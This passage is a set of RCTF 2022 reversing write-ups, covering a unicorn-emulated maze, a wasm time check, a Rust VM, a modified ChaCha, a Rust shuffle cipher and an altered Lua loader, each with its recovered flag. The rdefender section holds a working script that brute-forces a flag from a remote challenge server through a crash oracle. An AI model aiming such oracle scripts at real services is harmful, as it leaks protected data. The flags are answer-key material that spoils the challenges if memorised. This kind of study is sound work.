Recipe](https://gchq.github.io/CyberChef/#recipe=From_Base64('%2B/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD',true,false)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)AES_Decrypt(%7B'option':'Latin1','string':'goodlucksmartman'%7D,%7B'option':'Hex','string':''%7D,'ECB/NoPadding','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=U1ZUc2ZXelNZR1BXZFlYb2RWYnZibmk2ZG9IelNpPT0) ### HuoWang Cool a statically compiled stripped binary! Anyway there's a bunch of strings about unicorn in there, so i open up examples of unicorn and figure out that it's creating a unicorn struct, with a x86_64 emulator. Then it maps some code into it as well as our input. Next it hooks syscalls and finally executes the code in the emulator. The syscall hook sets a global flag to one if the syscall number (RAX) was one. Also it seems that the hook reads all the syscall registers but only looks at rax, which is kinda weird. Anyway, if the syscall is exit, then we set the flag to false, if the syscall is write we set it to true. After the emulator finishes we put our input string into a function which checks that it solves a maze (our input being `asdw` directions). Here is the maze: ``` * ********************* * * * * * * * * * *** * *** * * * * * * * * * * * * * * ********* * *** * * * * * * * * * * ***** * * ***** * * * * * * * * *** * * *** * *** *** * * * * * * * * * * *** *** * * * *** * * * * * * * * * * * * * *** * ***** * * * * * * * * * *********** *** * * * * * * * * * * ********* ********* * * ** *** * * * * * **** ** ***** * * * * * * * * * * * * * * ***** ***** * * * * * ********************* * ``` As we can see, there's a bunch of ways to take to get from the start (top left) to the end (bottom right). After that it checks that we passed the maze and the flag from the syscall handler was set to true (So we executed the syscall instruction). So we had to figure out what happens in that code. Looking at the first code it executes it just loads some registers and then enters a self-modifying loop, which loads depending on our input a 64-byte long xor-key and xors it over the code. So I wrote a script that does a dfs on the maze by modifying the code, using pwntools' disasm to get the new xor-keys (or if there's a wall, if we jump to exit). And it turns out we have a second maze: ``` * ********************* * * * * * * * * * *** * *** * * * * * * * * * * * * * * ********* * *** * * * * * * * * * * ***** * * ***** * * * * * * * * * * *** * * *** * *** ***** * * * * * * ***** * *** *** * * * ******* * * * * * * *** * * * * *** * ***** *** * * * * * *** * *************** * *** * * * * *** * ********* *********** * ****** * *** *** ****** ** ***** *** * * ****** * * * * * *********** ***** * * *********** * ********************* * ``` Since the controls are the same we need to overlay them and then solve the resulting maze, which gave me two solutions, i first tried the longer one (because the hint was not published yet) `sssssssddwwwwwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds` but since that did not work, I also tried the second, shorter one: `sssddwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds`, which gave me the flag `RCTF{e1f9e3d166dcec5ecff3a2c5fbdeab3b}` ### Web-Run This is an easy wasm reversing task. I first analyzed the binary in ghidra and when I saw that it denies you access for time `202211110054` I patched that jump to be negated (so it only lets us in if it's that time), then next I entered the time, set a breakpoint in the chrome wasm debugger, copied the data from memory, entered it and got the flag `RCTF{40959ea7-26e0-4c9d-8f4a-62faf14ff392}` ### rdefender A rust vm, we can enter commands (to upload data, to upload code, to execute code or to view data). It also seems to be doing some stuff in base131, but I ignored that part, as all I had to do in this outer thing is to get something to run in the inner vm with the flag in the data (The flag gets loaded into the data vector at index 0, our first code we upload will also have index 0). Because if the flag is in our data we can load it and we can do an error-based leak, where we load a byte from the flag, then subtract a constant, then divide one by the result. If nothing happens we can try the next value, if the constant however was the same as the flag byte we will crash because of a division by zero error (Thanks rust). So the main challenge was getting the program to execute, but it wasn't too bad, we first have to send it the constant `p64(0x5BF3899C66D10202)`, which is some sort of key, plus the opcode 2 (add a new program) and the code type (2 which is executed in the inner vm). Next we send four bytes - the length of the program, then the program itself, which just is `01xx00yy03010000030305` where xx is the index of the flag we want to load and yy is the constant we want to test. Finally we just have to run the program, which we can do with opcode 1 and the program index after 2 bytes. We can have 16 programs, and if we don't crash we can choose the next one immediatly which sped up things incredibly. ```python for flag_idx in range(len(flag), 60): i = 0 found_char = False while i < len(chars) and not found_char: #r = process("./rdefender") r = remote("94.74.84.207",7892) for prog_idx in range(16): if i >= len(chars): break payload = b"" payload += bytes.fromhex("01")+p8(flag_idx) # push data[flag_idx] payload += bytes.fromhex("00")+p8(chars[i]) # push i payload += bytes.fromhex("0301") # sub payload += bytes.fromhex("00")+p8(0) # 0 payload += bytes.fromhex("0303") # div payload += bytes.fromhex("05") # exit # create normal program r.send(p64(0x5BF3899C66D10202)) # send data... r.send(p32(len(payload))) r.send(payload) r.recvn(8) # run program idx 0 with data idx 0 r.send(p64(0x000001 | (prog_idx << 16))) x = r.recvn(8,timeout=.9) print(chr(chars[i]),"=>",x) if b"thread" in x: # error starts with "thread..." flag += chr(chars[i]) print("Found char: ", flag) found_char = True break i += 1 r.close() ``` So we just have to choose chars correctly and set a flag to the known prefix string and just wait until we get the closing bracket. `RCTF{7919f5f8286dd645da24b2045abb85fc}` ### Checkserver Oh, yet another statically compiled, stripped binary. We want to pass the auth check, by sending `authcookie=...` in the body of a http request. Following the code a bit we see that there's a bunch of invalid instructions which when patched out give us a function which loads a few constants: ```python iv = b"be1dfd2dc3388169" key = b"797bd1717fd5dd64fcd1f98922b1e0d3" data = bytes.fromhex("e6f7749f05ab1a50bf28b6e6a49e7f0d22ac7660fda6905e91b476a38d438835f4e0376a") ``` Then puts them into a ChaCha20-looking function, however the constants were changed and as such the initial state actually looks like this: ```python ctx = [0x64316562, 0x64326466, 0x38333363, 0x39363138, 0x14131211, 0x18171615, 0x1c1b1a19, 0x201f1e1d, 0x24232221, 0x28272625, 0x2c2b2a29, 0x302f2e2d, 0x00000000, 0x00000000, 0x00000000, 0x00000000] ```` Then decrypting the data will give us `flag{1b90d90564a58e667319451d1cb6ef}` ### RTTT > RTTT is a stripped Linux rust binary that takes some input. Since this is a stripped rust binary a large part of this task was just making educated guesses what the binary is doing and what the function do. My understanding is that the program takes in a string, then generates a list of deterministic random values using the PCG algorithm (at `0xef38`). It then sorts the position of the input string based on the random values at the same index (at `0xf1af`). Then two vectors are created and xored with each other to the binary string `b'Welc0me to RCTF 2O22'` (at `0xf6a5`). This xored vector together with the resorted input string go into the function at address `0xe310` which does some calculations but ultimately xors the shuffled input with some value calculated from the xored vector at `0xebc3`. The output of this encryption operation is then compared against another vector at address `0xf9a8`. If they match then another two vectors are xored resulting in `b'Congratulations'` (and it being printed to stdout), otherwise the program just exits. From this the steps to solve it become apparent (not necessary in this order): 1. Get the array we compare against at the end This is relatively simple because in the binary it's just sequentially byte writes to the memory address: `vecThree = [0x34, 0xc2, 0x65, 0x2d, 0xda, 0xc6, 0xb1, 0xad, 0x47, 0xba, 6, 0xa9, 0x3b, 0xc1, 0xcc, 0xd7, 0xf1, 0x29, 0x24, 0x39, 0x2a, 0xc0, 0x15, 2, 0x7e, 0x10, 0x66, 0x7b, 0x5e, 0xea, 0x5e, 0xd0, 0x59, 0x46, 0xe1, 0xd6, 0x6e, 0x5e, 0xb2, 0x46, 0x6b, 0x31]` The length of this is 42 so that is likely the wanted inputs length as well. 2. Get the xor bytes which are used to encrypt the shuffled input For this a breakpoint at `0xebc3` and just writing down the `cl` value for each index is enough (also verifying that the bytes are always the same independent of input can be seen here). `xorKey = [0x77, 0xF5, 0x21, 0x69, 0xE3, 0xF7, 0x87, 0x98, 0x6A, 0xE8, 0x2B, 0x9E, 0x9, 0xEC, 0xE1, 0xAA, 0xC2, 0x1A, 0x16, 0x7d, 0x6F, 0xf0, 0x56, 0x40, 0x3b, 0x56, 0x5f, 0x38, 0x25, 0xDB, 0x69, 0xE7, 0x6F, 0x12, 0xD6, 0x92, 0x28, 0x6d, 0xf6, 0x05, 0x2e, 0x77]` 3. Get the order the input bytes are reordered in Statically this could be derived from how the random values are calculated and the insertion into the tree works, dynamically we can just set a breakpoint at a point where the resorted array is visible (e.g. at the point where it is encrypted at `0xebc3`). Then we just run the program 42 times with `"A"*(i) + "B" + "A"*(42-i-1)` and see where the `B` is sorted to: ``` BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ("AAAAAAAAAB", 'A' <repeats 32 times>, "\001") ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 27 times>, "B", 'A' <repeats 14 times>, "\001") AABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 33 times>, "BAAAAAAAA\001") AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 25 times>, "B", 'A' <repeats 16 times>, "\001") AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 28 times>, "B", 'A' <repeats 13 times>, "\001") AAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 21 times>, "B", 'A' <repeats 20 times>, "\001") AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 37 times>, "BAAAA\001") AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 22 times>, "B", 'A' <repeats 19 times>, "\001") AAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 16 times>, "B", 'A' <repeats 25 times>, "\001") AAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 24 times>, "B", 'A' <repeats 17 times>, "\001") AAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ("AAAAB", 'A' <repeats 37 times>, "\001") AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 23 times>, "B", 'A' <repeats 18 times>, "\001") AAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 18 times>, "B", 'A' <repeats 23 times>, "\001") AAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 13 times>, "B", 'A' <repeats 28 times>, "\001") AAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 40 times>, "BA\001") AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 17 times>, "B", 'A' <repeats 24 times>, "\001") AAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 30 times>, "B", 'A' <repeats 11 times>, "\001") AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 41 times>, "B\001") AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 14 times>, "B", 'A' <repeats 27 times>, "\001") AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 12 times>, "B", 'A' <repeats 29 times>, "\001") AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAA ('A' <repeats 36 times>, "BAAAAA\001") AAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA ('A' <repeats 38 times>, "BAAA\001") AAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAA ("AAAAAAB", 'A' <repeats 35 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAA ("AAAAAAAAB", 'A' <repeats 33 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAA ("B", 'A' <repeats 41 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA ("AAB", 'A' <repeats 39 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA ('A' <repeats 11 times>, "B", 'A' <repeats 30 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAA ('A' <repeats 20 times>, "B", 'A' <repeats 21 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAA ("AAAAAAAAAAB", 'A' <repeats 31 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA ("AAAAAAAB", 'A' <repeats 34 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAA ('A' <repeats 34 times>, "BAAAAAAA\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA ('A' <repeats 39 times>, "BAA\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAA ('A' <repeats 26 times>, "B", 'A' <repeats 15 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAA ("AAAAAB", 'A' <repeats 36 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAA ('A' <repeats 19 times>, "B", 'A' <repeats 22 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAA ("AB", 'A' <repeats 40 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA ('A' <repeats 31 times>, "BAAAAAAAAAA\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA ("AAAB", 'A' <repeats 38 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAA ('A' <repeats 35 times>, "BAAAAAA\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAA ('A' <repeats 32 times>, "BAAAAAAAAA\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABA ('A' <repeats 29 times>, "B", 'A' <repeats 12 times>, "\001") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB ('A' <repeats 15 times>, "B", 'A' <repeats 26 times>, "\001") ``` This gives use the shuffle table: `shuffleTable = {0: 9, 1: 27, 2: 33, 3: 25, 4: 28, 5: 21, 6: 37, 7: 22, 8: 16, 9: 24, 10: 4, 11: 23, 12: 18, 13: 13, 14: 40, 15: 17, 16: 30, 17: 41, 18: 14, 19: 12, 20: 36, 21: 38, 22: 6, 23: 8, 24: 0, 25: 2, 26: 11, 27: 20, 28: 10, 29: 7, 30: 34, 31: 39, 32: 26, 33: 5, 34: 19, 35: 1, 36: 31, 37: 3, 38: 35, 39: 32, 40: 29, 41: 15}` and with this we can calculate the flag: ``` >>> array = bytes([xorKey[i]^vecThree[i] for i in range(42)]) >>> bytes([array[shuffleTable[i]] for i in range(42)]) b'RCTF{03C3E9B2-E37F-2FD6-CD7E-57C91D77DD61}' ``` ### picStore_re >picStore is a binary containing a lua runtime with symbols and a compiled lua thunk. Running strings on the binary shows that it is based on Lua 5.3, but when we look at the Lua bytecode file we can see that the signature does not match (first bytes are "1B 4C 75 61 AC" instead of the expected "1B 4C 75 61 53"). Comparing the compared file against normal Lua 5.3 quite a few similarities can be found but also a lot of values seem to be completely wrong. Looking at them a bit it is noticeable that they are in fact the bit inverted of what is expected. Not all bytes are inverted though, so reversing the picStore binary to see the difference is necessary. By following how the version byte is read in the normal Lua 5.3 source code we arrive at the `LoadByte` function in `lundump.c` (which in the binary does not have a symbol): ![](https://raw.githubusercontent.com/Pusty/writeups/master/RCTF2022/img/inverted.png) Indeed most bytes are inverted (which is not what the normal implementation does)! This inverting is done for `LoadByte`, `LoadInt`, `LoadNumber` and `LoadInteger`: ```C static lu_byte LoadByte (LoadState *S) { lu_byte x; LoadVar(S, x); lu_byte x2 = x; if(((x-1)&0xff) <= 0xFD) { x2 = ~x; } return x2; } static int LoadInt (LoadState *S) { int x; LoadVar(S, x); lu_byte* v1 = &x; for(int i=0;i<sizeof(x);i++) { if(((*v1-1)&0xff) <= 0xFD) { *v1 = ~*v1; } v1++; } return x; } static lua_Number LoadNumber (LoadState *S) { lua_Number x; LoadVar(S, x); lu_byte* v1 = &x; for(int i=0;i<sizeof(x);i++) { if(((*v1-1)&0xff) <= 0xFD) { *v1 = ~*v1; } v1++; } return x; } static lua_Integer LoadInteger (LoadState *S) { lua_Integer x; LoadVar(S, x); lu_byte* v1 = &x; for(int i=0;i<sizeof(x);i++) { if(((*v1-1)&0xff) <= 0xFD) { *v1 = ~*v1; } v1++; } return x; } ``` With these patches to stock Lua 5.3 we can actually load the program and run it (though it will complain that some native functions are missing and not actually run). Using `luac -l` we can now get a decent disassembly of the code. Personally I think luac's disassembly is still quite unreadable so I built [luadec](https://github.com/viruscamp/luadec) with the customized lua-5.3 and used that instead (sadly the decompilation seems to fail for the code). ``` ; Function: 0_10 ; Defined at line: 172 ; #Upvalues: 1 ; #Parameters: 1 ; Is_vararg: 0 ; Max Stack Size: 54 0 [-]: GETTABUP R1 U0 K0 ; R1 := U0["value_list"] 1 [-]: MOVE R2 R0 ; R2 := R0 2 [-]: CALL R1 2 2 ; R1 := R1(R2) 3 [-]: NEWTABLE R2 0 0 ; R2 := {} (size = 0,0) 4 [-]: NEWTABLE R3 48 0 ; R3 := {} (size = 48,0) 5 [-]: LOADK R4 K1 ; R4 := 105 ... 265 [-]: LOADK R9 K256 ; R9 := 193 266 [-]: SETLIST R3 6 6 ; R3[250] to R3[255] := R4 to R9 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=3, b=6, c=6, FPF=50 267 [-]: LOADK R4 K73 ; R4 := 1 268 [-]: LEN R5 R1 ; R5 := #R1 269 [-]: LOADK R6 K73 ; R6 := 1 270 [-]: FORPREP R4 21 ; R4 -= R6; pc += 21 (goto 292) 271 [-]: LOADK R8 K257 ; R8 := "xor" 272 [-]: GETTABUP R8 U0 R8 ; R8 := U0[R8] 273 [-]: GETTABLE R9 R1 R7 ; R9 := R1[R7] 274 [-]: SUB R10 R7 K73 ; R10 := R7 - 1 275 [-]: CALL R8 3 2 ; R8 := R8(R9 to R10) 276 [-]: SETTABLE R1 R7 R8 ; R1[R7] := R8 277 [-]: LOADK R8 K257 ; R8 := "xor" 278 [-]: GETTABUP R8 U0 R8 ; R8 := U0[R8] 279 [-]: GETTABLE R9 R1 R7 ; R9 := R1[R7] 280 [-]: LOADK R10 K128 ; R10 := 255 281 [-]: CALL R8 3 2 ; R8 := R8(R9 to R10) 282 [-]: SETTABLE R1 R7 R8 ; R1[R7] := R8 283 [-]: GETTABLE R8 R1 R7 ; R8 := R1[R7] 284 [-]: BAND R8 R8 K128 ; R8 := R8 & 255 285 [-]: SETTABLE R1 R7 R8 ; R1[R7] := R8 286 [-]: LEN R8 R2 ; R8 := #R2 287 [-]: ADD R8 R8 K73 ; R8 := R8 + 1 288 [-]: GETTABLE R9 R1 R7 ; R9 := R1[R7] 289 [-]: ADD R9 R9 K73 ; R9 := R9 + 1 290 [-]: GETTABLE R9 R3 R9 ; R9 := R3[R9] 291 [-]: SETTABLE R2 R8 R9 ; R2[R8] := R9 292 [-]: FORLOOP R4 -22 ; R4 += R6; if R4 <= R5 then R7 := R4; PC += -22 , goto 271 end 293 [-]: LOADK R4 K258 ; R4 := "a_AHy3JniQH4" 294 [-]: GETTABUP R4 U0 R4 ; R4 := U0[R4] 295 [-]: MOVE R5 R2 ; R5 := R2 296 [-]: CALL R4 2 2 ; R4 := R4(R5) 297 [-]: EQ 0 R4 K73 ; if R4 == 1 then goto 299 else goto 302 298 [-]: JMP R0 3 ; PC += 3 (goto 302) 299 [-]: LOADBOOL R4 1 0 ; R4 := true 300 [-]: RETURN R4 2 ; return R4 301 [-]: JMP R0 2 ; PC += 2 (goto 304) 302 [-]: LOADBOOL R4 0 0 ; R4 := false 303 [-]: RETURN R4 2 ; return R4 304 [-]: RETURN R0 1 ; return ``` The most interesting function is the function `0_10` used as `check_func` (See [disassembly.txt](https://github.com/Pusty/writeups/blob/master/RCTF2022/disassembly.txt) for the full disassembly.) The function gets a value list from the program, then builds a 256 byte list, and in a loop encrypts the value list. The output of this encryption is then run through the function with the name `a_AHy3JniQH4` and if it outputs 1 will return true or else false. If the output is true the program will output `"now, you know the flag~"` otherwise `"you fail!"`. ![](https://raw.githubusercontent.com/Pusty/writeups/master/RCTF2022/img/main.png) The `main` function of the picStore binary registers quite a few native functions, the `a_AHy3JniQH4` function corresponds to the native `check_result_23_impl` function, which contains some lua to C logic which then gives the array to the `chk_23` function. ![](https://raw.githubusercontent.com/Pusty/writeups/master/RCTF2022/img/chk23.png) The `chk_23` function in the end is heavily obfuscated and impossible to just read. Trying to angr or directly symbolically solve the decompiled output didn't yield anything in a reasonable time and after checking it made sense why: ```C v1 = a1[0]; v2 = a1[1]; v3 = a1[2]; v4 = a1[3]; v5 = a1[4]; v6 = a1[5]; v7 = a1[6]; v8 = a1[7]; v10 = abs32(-236927 * v4+ 160169 * v5 + 41685 * v1 + -212842 * v7 + -189738 * v2 + 154401 * v3 - 230228 * v8 + 128214 * v6+ 30252865) + abs32(-34520 * v7 + 162797 * v5 + 6659 * v6 + -271188 * v3 + -174919 * v1 + 275012 * v4 - 76091 * v2 - 58044891) + abs32(-133824 * v5 + 264084 * v1 + 228954 * v3 + 255695 * v2 + 28625 * v6 - 26349 * v4 - 17179897) + abs32(157792 * v3 + -154611 * v4 + 144762 * v5 + 279204 * v2 + 63409 * v1 - 4498569) + abs32(159298 * v4 + -260026 * v2 - 49856 * v3 + 138310 * v1 - 54756696) + abs32(-147558 * v1 + 270817 * v3 - 85118 * v2 + 10280335) + abs32(87702 * v1 - 12015174) + abs32(273078 * v2 - 214016 * v1 + 29047114); ``` The function and other `chk` functions essentially do a sequence of operations like this (this is from chk_29). The `abs32` is derived from the pattern of `y = x >> 31; (x^y)-y` which is equal to `abs32`. The first problem here is that is not obvious what value these formulas are calculating as the output is determined if the last two values calculated this way are equal. The second problem is if you sequentially try to solve for this then the "first" equation has 8 unknown variables, the second 7, etc. If we try to solve it without any further assumptions then this will never finish for all 30 bytes the function uses in the calculations. One interesting thing though is that if we look at the smallest first term `abs32(87702 * v1 - 12015174)` which only has one unknown, and then try all possible byte values we can see that there is a solution where the output is 0 (for `v1 == 137`). If we repeat this by ordering the terms by the amount of unknowns they contain and thus solve one new unknown each time we can see there is always one byte value for which the output is 0. So if we assume we want all inputs to the absolute calculation to be 0 (and thus the sum of them also to be zero) we can calculate the result in a way more constrained way as we can solve each block that uses new input in order and do not have to solve for all 30 unknown bytes at the same time. If we take it as is we still have the problem that a solver would try to first solve for the term with 8 unknowns first and then constrain it more by the following terms. This is very inefficient and may not reasonable terminate either, so we also need to sort all these additions in order of the amount of unknown variables (like we did before when calculating for the 0 points manually). Cleaning this up and then testing it with [KLEE](https://klee.github.io/) with the following configurations for running and abs32 (see [`kleeMe.c`](https://github.com/Pusty/writeups/blob/master/RCTF2022/kleeMe.c) for the full file): ```C int main() { unsigned char input[30]; klee_make_symbolic(input, 30, "input"); int res = chk_23(input); return res; } int abs32(int x) { klee_assume(x == 0); return 0; } ``` Solves for the following bytes: ``` ktest file : './klee-out-1/test000001.ktest' args : ['kleeMe.bc'] num objects: 1 object 0: name: 'input' object 0: size: 30 object 0: data: b'!\x92\xd0\xcf34\xe6\xbe\xc7\xd3n3\xcf\xbe.3O\xb7Ig*g\xc5S\xdd\x1d\xd1\xf0\xc2\x1a' object 0: hex : 0x2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a object 0: text: !...34....n3...3O.Ig*g.S...... ``` Now looking back at the Lua Bytecode the encryption operation is equal to ```python def encrypt(inputValues): output = [] for i in range(30): a = inputValues[i]^((i-1)&0xff) b = a^0xff output.append(byteTable[b]) ``` So if we reverse these operations for valid input we get: ``` byteTable = "69f43f0a18a9f86b818a19b660b00e5938e5ce13171516c6b3a798421cc9d550a29766245b253211aa29035455e283264720128e462770dc10db9fde0b7763cb2f94b9375d30997101ed234b439ba14a6c4cb5e9ba2c7de858085fa3c8f978f3aed4fcea3a65e4566d90687975570f840c14a573888776454402527bfafb35ff33ddd3c3918cfe00742b1dd9c5b7a8bc22da92936295f6b4672128cfd0c08f1a9ae1648daf7ce63eb1cd6ecafdad2e3472a4a6899e7a0d53b285bdbb07b84df5d8bec2489dacabc7a02d311bcc51065c3bd1ef82613dd6d7495a7e2a1ef04fe04edf6f3c0405c4e76a408beb96e3eebf7f1f9c36f1f286f780415e39d2ec09c1" validInput = "2192d0cf3334e6bec7d36e33cfbe2e334fb749672a67c553dd1dd1f0c21a" byteTable = bytes.fromhex(byteTable) validInput = bytes.fromhex(validInput) invertedByteTable = {} for i in range(0x100): invertedByteTable[byteTable[i]] = i flag = "" for i in range(30): v = invertedByteTable[validInput[i]] flag += (chr((v^0xff)^i)) print(flag) ``` `>>> flag{U_90t_th3_p1c5t0re_fl49!}`